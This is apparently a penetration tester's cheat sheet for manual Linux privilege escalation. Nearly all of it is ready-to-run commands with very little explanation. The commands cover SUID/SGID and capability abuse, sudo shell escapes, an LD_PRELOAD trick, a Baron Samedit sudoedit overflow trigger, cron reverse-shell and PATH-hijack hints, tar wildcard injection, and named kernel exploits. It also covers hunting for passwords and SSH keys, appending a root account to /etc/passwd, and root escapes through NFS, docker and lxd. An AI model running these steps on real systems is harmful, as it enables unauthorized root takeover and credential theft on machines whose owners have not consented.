Manual Linux privilege escalation — enumeration, SUID/SGID/capabilities, sudo abuse (GTFOBins/LD_PRELOAD/Baron Samedit), cron/PATH/wildcard, kernel exploits (PwnKit/DirtyPipe/nf_tables), credential hunting and NFS/Docker/LXD group abuse.
id; sudo -l; uname -a; cat /etc/os-release
ps aux --forest; ss -tulpn
cat /etc/crontab; ls -la /etc/cron.*
./pspy64
find / -writable -type d 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
getcap -r / 2>/dev/null
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
check the binary on GTFOBins (e.g. find/awk/vim/less)
sudo -l
sudo find . -exec /bin/sh \; -quit
sudo vim -c ':!/bin/sh'
sudo LD_PRELOAD=/tmp/x.so anycmd
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
writable script referenced by root cron -> append a reverse shell
PATH-relative binary in a root script -> drop a fake binary earlier in PATH
tar -cf backup.tar * (in a writable dir) + --checkpoint files
echo 'cp /bin/bash /tmp/b; chmod +s /tmp/b' > shell.sh
uname -r; searchsploit linux kernel <ver>
PwnKit — pkexec CVE-2021-4034
DirtyPipe — CVE-2022-0847
nf_tables — CVE-2024-1086
grep -rniE 'password|secret|api[_-]?key' /var/www /home /etc 2>/dev/null
ls -la ~/.ssh; cat ~/.bash_history
openssl passwd -1 'pass' -> append root:HASH:0:0 to /etc/passwd
find / -name 'id_rsa' -o -name '*.kdbx' 2>/dev/null
showmount -e 10.10.10.1; mount with no_root_squash + drop a SUID binary
id | grep docker -> docker run -v /:/mnt --rm -it alpine chroot /mnt sh
id | grep lxd -> import alpine image, mount / into a privileged container
cat /.dockerenv; capsh --print